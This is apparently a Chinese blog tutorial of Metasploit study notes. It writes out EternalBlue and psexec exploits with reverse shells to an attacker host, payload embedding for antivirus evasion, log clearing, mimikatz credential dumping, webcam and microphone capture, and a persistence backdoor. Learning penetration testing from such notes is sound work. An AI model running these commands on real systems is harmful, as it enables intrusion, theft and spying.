Kali Linux渗透测试——MSF基础篇
笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程
Metasploit是目前最流行、最强大、最具扩展性的渗透测试平台,一定程度上统一了渗透测试和漏洞研究的工作环境,使得新的攻击代码比较容易加入框架。Metasploit更新速度非常快,几乎每周都会有版本更新,所以2014年之后市场上没有再出现新的Metasploit教材。
文章目录
- 一、MSF基本介绍
- 1.版本区分
- 2.MSF架构
- 二、MSF基本使用
- 1.功能模块
- 2.基本命令
- 3.数据库命令
- 三、MSF模块使用
- (一)Exploit模块
- (二)Payload/Encoder模块
- 四、Meterpreter
- (一)Meterpreter简介
- (二)Meterpreter常用命令
- (三)Meterpreter python扩展
- 五、Msfcli
一、MSF基本介绍
1.版本区分
2.MSF架构
Rex :操作系统级基本库,是MSF的底层依赖
MFS::Core :MSF底层库
MSF::Base :便于用户调用的基本库,提供API (模块功能基于Base库)
MSF::UI :用户界面(最常用MSF console接口)
二、MSF基本使用
1.功能模块
MSF主目录为/usr/share/metasploit-framework/,其中包括了config配置文件、plugins插件、tools工具、db数据库文件、modules模块文件以及msfconsole、msfdb等命令,modules中的文件为我们最常用的模块文件,其中每个模块中都根据不同的操作系统,分为不同平台不同协议功能对应的漏洞利用文件,这些文件用ruby编写。
modules中的模块主要包括:
exploits
:利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法,是一个流程性概念,其利用过程中往往会用到payloads
payloads
:成功exploit后,攻击过程中执行的代码或指令。可以是能够反弹shell的shellcode,也可以是直接在目标系统上直接执行的系统命令,默认有三类payloads,分别为:
- singles:要执行的所有代码都放在一个文件中,没有外部依赖,因此文件比较大,可能会因为攻击目标内存空间受限而无法使用
- stagers:传输一个较小的payload用于建立连接,后续再传输具体攻击payload(也就是stages)
- stages:利用stagers建立连接后,后续再传输的代码
auxiliary
:没有payload的exploits模块,一般在信息收集阶段使用
encoders
:对payloads进行加密,躲避AV检查的模块
post
:取得shell后,进一步运行的攻击指令(运行post模块的方法有两个,一是在取得的shell中直接run运行;二是use相应的post模块,set相应的shell session,然后run运行)
2.基本命令
msfconsole #启动MSF console界面msfupdate #msf版本更新help/? #打印当下窗口的帮助文档help command/command --help #打印command命令的帮助文档connect #可以看成是msfconsole界面下的nc工具edit #编辑模块的ruby文件,与用vim编辑相同show #查看命令,可以看当前环境下的exploits、auxiliary、payloads等模块,其中Rank表示不同模块的评级(成功率和使用难易程度的重要参考),#最常使用的是`show options`命令,表示当前上下文环境中的选项内容,`show missing`可以查看当前有哪些必须的配置没有设置show advanced #一些不常用的高级选项,不会在`show options`中显示search #搜索关键词内容对应的模块,如搜索ms10_046漏洞模块:#注意搜索出的内容所在基本目录为`/usr/share/metasploit-framework/modules/`,除此之外search还可以添加一些筛选条件,如name、path、type等info #当前模块的基本信息use #使用不同的模块文件set/unset #设置变量/取消变量设置setg/unsetg #设置全局变量/取消全局变量设置,只会设置当前msf运行环境中的变量,退出msf后设置就复位save #将设置保存到/root/.msf4/config,msf启动时会读取该文件,这样重新启动msf后设置依然保留back #从模块上下文退回到msfconsole初始目录run/exploit #运行漏洞模块sessions #可以看见当前已经建立的攻击连接,利用`sessions -i id`命令进入指定连接jobs #查看后台运行的模块load/unload #连接插件,如load openvas,然后会出现相应的openvas命令,使用时需要用openvas_connect连接外部扫描器loadpath #调用自己编写的功能模块route #向session指定路由resource #调用rc文件的命令并执行,以方便直接取得session
3.数据库命令
(1)数据库管理所用的命令为msfdb命令:
msfdb init
msfdb reinit
msfdb delete
msfdb start
msfdb stop
(2)在msfconsole中数据库管理命包括:
db_connect
db_disconnect
db_status #查看数据库状态,有无连接
db_nmap #后续可以用hosts命令来查询扫描出的主机
db_rebuild_cache #建立模块文件的缓存,使search搜索速度更快
db_remove
db_export #导出备份信息
db_import #导入备份信息,备份为xml文件
其中db_nmap在nmap功能基础上,将搜索的数据存入数据库,便于后续查询。
三、MSF模块使用
(一)Exploit模块
分为两类,Active exploit和Passive exploit,具体区别如下:
Active exploit,攻击目标开放了某个端口服务,攻击者利用exploit传输payload,使攻击目标反弹shell (reverse_tcp),或者在指定端口运行shell (bind_tcp)再接入攻击者侦听的端口,也就是说攻击者主动发起攻击,一般去攻击服务器端程序,也是最常用的。
注意reverse_tcp是攻击目标主动反弹shell,容易绕过FW封堵,而bind_tcp是在指定的端口运行shell再弹回,容易被FW墙掉。
注:常见漏洞
1.ms08_067_netapi
:通过MSRPC over SMB通道调用Server服务程序中的函数时触发,影响大部分Windows XP和Server 2003系统。
2.ms17_010_eternalblue
:永恒之蓝漏洞,在Windows的SMB服务处理请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码,它影响的范围包括Win7和Sever 2008 R2的所有版本系统,这也是目前在内网渗透中最常用最好用的漏洞,没有之一。
eg1:以永恒之蓝漏洞利用
use auxiliary/acanner/smb/smb_ms17_010 #进行漏洞分析,看445端口能否被入侵
set RHOSTS 10.10.11.122
run #如果结果中出现`Host is likely VULNERABLE to MS17-010`,则说明主机很可能有永恒之蓝漏洞
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.11.122
set payload windows/meterpreter/reverse_tcp
run #随后可以看到进入了meterpreter
eg2:(前提知道攻击目标的账户名和密码)
use exploit/windows/smb/psexec
set RHOSTS 10.10.11.122
set PAYLOAD windows/shell/reverse_tcp
set LHOST 10.10.11.151
set LPORT 4444
set SMBUSER user1
set SMBPASS pass1
run
Passive exploit,利用客户端程序的漏洞,客户端向存在exploit的服务端发送请求,返回的漏洞利用代码使得客户端可以反弹shell (reverse_tcp)或者反向建立连接(bind_tcp)连入攻击者,也就是说攻击者诱使攻击目标连接服务程序,通过返回的代码完成攻击,一般去攻击客户端程序。
eg:(利用攻击目标浏览器的漏洞,诱使攻击目标用浏览器访问攻击者设置的目录文件)
use exploit/windows/browser/ms07_017_ani_loadimage_chunksize
set URIPATH / #诱使攻击目标访问的目录
set PAYLOAD windows/shell/reverse_tcp
set LHOST 10.10.11.151
set LPORT 4444
run #exploit成功后只是伪造了一个有漏洞利用代码的站点,等待攻击目标连接
(二)Payload/Encoder模块
Payload是在攻击目标主机中真正执行的代码,它不仅可以用exploit模块加载,而且也可以作为独立的个体,通过诱使攻击目标运行而发动攻击。
Payload模块可以用generate命令修改代码:
generate #把Payload代码以16进制格式输出
generate -b 'xx' #除去Payload中的坏字符'xx',除去的过程是重新编码,MSF会选择最佳的Encoder方式
generate -i 5 -x 'yyy.exe' -f 'xyyy.exe' #对Payload加密5轮,将Payload附加在yyy.exe程序中,生成新的程序命名为xyyy.exe#这样xyyy.exe在目标主机上执行时,yyy.exe功能不发生变化,而Payload会被执行
generate -s 10 #在Payload前生成10个nop字节(nop:EIP返回到存储nop sled的任意地址时将递增,最终导致shellcode执行)
generate -t c #生成c语言格式的Payload
四、Meterpreter
(一)Meterpreter简介
一种高级、动态、可扩展的Payload,可以基于meterpreter上下文利用更多漏洞发起攻击,同时也是后渗透测试阶段一站式操作界面。
完全基于内存的DLL注入式payload(不写硬盘),不会在日志文件中留下痕迹,会注入合法进程并建立stager,隐蔽性非常好。可以基于stager上传和预加载DLL进行扩展模块的注入,可以基于stager建立的socket连接建立加密的TLS通信隧道
服务端使用C语言编写
客户端提供基于Ruby的全特性API(支持其他语言,但功能可能受限)
(二)Meterpreter常用命令
backround #退回msfconsole界面,同样适用于msf界面进入的普通shell的退回操作。若是从shell中进入的,退回shell则用exithelp #查看可用命令,等同于?pwd/cd/cat/ls/ps/reboot/shutdown/.. #些基本命令都可以使用,但是注意没有补齐功能edit #Meterpreter界面下的vilpwd #显示当前主机的工作目录(pwd是目标主机的工作目录)lcd #当前主机目录的切换run/bgrun #运行/后台运行命令,tab后有几百个选择,可以实现远程桌面监控、usb痕迹查看等功能,功能十分强大clearev #清除目标主机的系统日志download/upload #下载/上传文件(注意表示windows的目录要用\\)execute -i -H -m -f xx.exe -a “-o file.dump” #执行xx程序#-i表示与该程序进行交互,-H表示将窗口隐藏执行#-m表示直接在内存中执行,-a后的内容为xx.exe的参数getuid #查看当前登录的账号getprivs #查看当前具有的权限load priv #加载priv插件getsystem #加载priv后,提权变为系统账号getpid #meterpreter注入的进程号,用ps命令查看具体进程migrate #迁移meterpreter注入的进程,一般将session迁移到系统进程,如exploerhashdump或者run post/windows/gather/hashdump #从SAM数据库中导出本地用户账号#注:SAM文件是windows的用户账户数据库,所有用户的登录名及口令等#相关信息都会保存在这个文件中,类似于unix系统中的passwd文件sysinfo #获取系统信息kill #杀死进程shell #反弹shellshow_mount #显示分区search #搜索文件netstat/arp/ipconfig/ifconfig/route/... #支持部分在windows cmd和linux shell中的命令idletime #查看计算机的空闲时间resource #连接一个外部文件并执行,文件中一般是要执行的命令record_mic #开启麦克风webcam_list #列出电脑上开启的摄像头webcam_snap -i 1 -v false #每隔1秒钟进行拍照---------新版本msf命令有所变化,下边用-->标明-----------
--------------更多命令可以用help或?查看-----------------load mimikatz --> load kiwi #在获取系统权限的条件下,加载mimikatz模块#load mimikatz success之后可以运行以下命令获取明文或hash密码
msv --> creds_msvtspkg --> creds_tspkgwdigest --> creds_wdigestkerberos --> creds_kerberosmimikatz_command -f samdump::hashes --> kiwi_cmd lsadump::sammimikatz_command -f sekurlsa::searchPasswords --> kiwi_cmd sekurlsa::logonPasswords
(2020.07更新)
拿下shell后要尽快植入持久化后门,以免断连或目标主机打补丁后失去shell,Meterpreter提供两种控制持久化的方式,一种是通过服务启动(metsvc),另一种是通过启动项(persistence),简要介绍如下:
1.metsvc: 在目标主机上开启一个服务,用于等待攻击接入,命令简单,执行方便,但是端口容易被网上小黑扫到,任何人都可以接入,安全性差,在meterpreter执行命令为:
run metsvc
2.persistence: 在目标主机上主动反弹连接远程主机,容易绕过防火墙,存活率高,安全性强,注意参数设置正确,在meterpreter执行命令为:
run persistence -h #查看参数帮助信息run -P windows/x64/meterpreter/reverse_tcp -U -i 30 -p 8899 -r 10.10.11.103
# -P:设置Payload,默认为windows/meterpreter/reverse_tcp
# -U:设置后门在用户登录后自启动,该方式会在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加信息
# -i:设置反向连接心跳时间,单位s
# -p:反向连接端口
# -r:反向连接IP
(三)Meterpreter python扩展
无需运行环境,在攻击目标中直接运行原生python代码
load python #加载python插件
python_execute 'xxx' #运行python语句
python_import #导入python脚本文件
五、Msfcli
Msfcli是Metasploit提供的一种命令行接口,在使用时用一句命令完成所有动作,由msfconsole -x
进入,使用cli接口的目的主要是编写脚本时便于引用,如:
msfconsole -x 'use exploit/windows/smb/ms08_067+netapi;
set RHOST 1.1.1.1;set PAYLOAD windows/meterpreter/reverse_tcp;
set LHOST 1.1.1.6;set LPORT 5555;set target 34;exploit'
Kali Linux渗透测试——MSF基础篇相关推荐
- Kali Linux渗透测试——MSF实战篇(一)
笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程 文章目录 一.信息收集 (一)db_nmap (二)Auxiliary模块 1.arp扫描 2.端口扫描 3.空闲扫描 4.UDP扫 ...
- 视频教程-Kali Linux渗透测试基础入门到进阶实战全程课-渗透测试
Kali Linux渗透测试基础入门到进阶实战全程课 本人有多年的服务器高级运维与开发经验,擅长计算机与服务器攻防及网络攻防技术!对网络安全领域有持续的关注和研究! 林晓炜 ¥499.00 立即订阅 ...
- 视频教程-Kali Linux渗透测试全程课与脚本语言编程系列课程-渗透测试
Kali Linux渗透测试全程课与脚本语言编程系列课程 本人有多年的服务器高级运维与开发经验,擅长计算机与服务器攻防及网络攻防技术!对网络安全领域有持续的关注和研究! 林晓炜 ¥899.00 立即订 ...
- KALI LINUX渗透测试学习笔记
KALI LINUX渗透测试学习笔记 (苑房弘主讲) 第1章 课程介绍 任务1:Kali Linux渗透测试介绍.exe 安全问题的根源: 分层思想 只求功能实现 最大的威胁是人 渗透测试: 尝试挫败 ...
- Kali Linux 渗透测试 博客记录
本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的<Kali Linux 渗透测试>课程 文章为长时间连载,内容具有连续性,禁止转载! --- ...
- 基于Android设备的Kali Linux渗透测试教程第1章渗透测试
基于Android设备的Kali Linux渗透测试教程第1章渗透测试 渗透测试(Penetration Testing)是一种通过模拟攻击者所采用的技术与方法,攻击目标系统的安全控制措施,并取得访问 ...
- 《Kali Linux渗透测试的艺术》—第2章2.3节安全测试方法论
本节书摘来自异步社区<Kali Linux渗透测试的艺术>一书中的第2章2.3节安全测试方法论,作者[英]Lee Allen , [印尼]Tedi Heriyanto , [英]Shake ...
- Kali Linux渗透测试——无线渗透
笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程,以及文章: https://blog.csdn.net/qq_38265137/article/details/80370554 h ...
- kali linux 渗透测试学习笔记——被动信息收集
kali linux 渗透测试学习笔记--linux 被动信息收集 被动信息收集 被动信息收集 公开渠道可获得的信息 已公开的信息,通过互联网等渠道去获得 与目标系统不产生直接交互 不对目标访问,扫描 ...
最新文章
- 会计的思考(41):会计的领悟—每一位业务骨干都是优秀的管理会计师
- 【Linux 内核】CFS 调度器 ④ ( 调度子系统组件模块 | 主调度器、周期性调度器 | 调度器类 )
- java tic tac toe_请问我这个tic tac toe的游戏代码的问题在哪里
- 反射如何拿到私有属性_JAVA中反射机制的价值
- Leetcode39.Combination Sum组合总和
- 算法题复习(栈与队列、二叉树)
- 第九十五期:Python帮你识破双11的套路
- 谷歌 AI 的2019:日均2篇论文,纵横16大方向,一文汇集重要开源算法
- 爬虫python下载电影_python爬虫:抓取下载电影文件,合并ts文件为完整视频
- vim插件管理器minpac安装及使用
- WebApiThrottle限流框架
- 图像分辨率与长度单位转换
- python 编写 cgi 脚本
- Python 中国象棋源码 V1
- win10小娜_win10小娜不好用,想禁用或彻底删除Cortana,就用这2招
- 外接竖屏显示器virtual box虚拟机屏幕分辨率不能自适应
- 基于51单片机的脉搏测量仪protues仿真设计
- 海阔凭鱼跃天高任鸟飞
- 使用ESP32驱动QMA7981读取三轴加速度(带例程)
- 计算机毕业设计springboot+vue基本微信小程序的透析耗材管理系统
热门文章
- linux查看磁带机端口,linux、unix下使用磁带机的常用命令
- android 当服务器
- BCD码与十六进制值转换
- oracle开放查询表权限_(转载)Oracle创建用户并给用户授权查询指定表或视图的权限...
- 逸创云客服获“金耳唛杯”年度中国最佳客户中心技术产品奖
- 关于考研的几个潜规则
- Mysql——》查看数据库表结构
- 营收倍数级增长,利润却止步不前!光庭信息只有一只脚踏进了智能电动车风口?...
- J2SE - super
- 游戏感:虚拟感觉的游戏设计师指南——第二章 游戏感与人类感知能力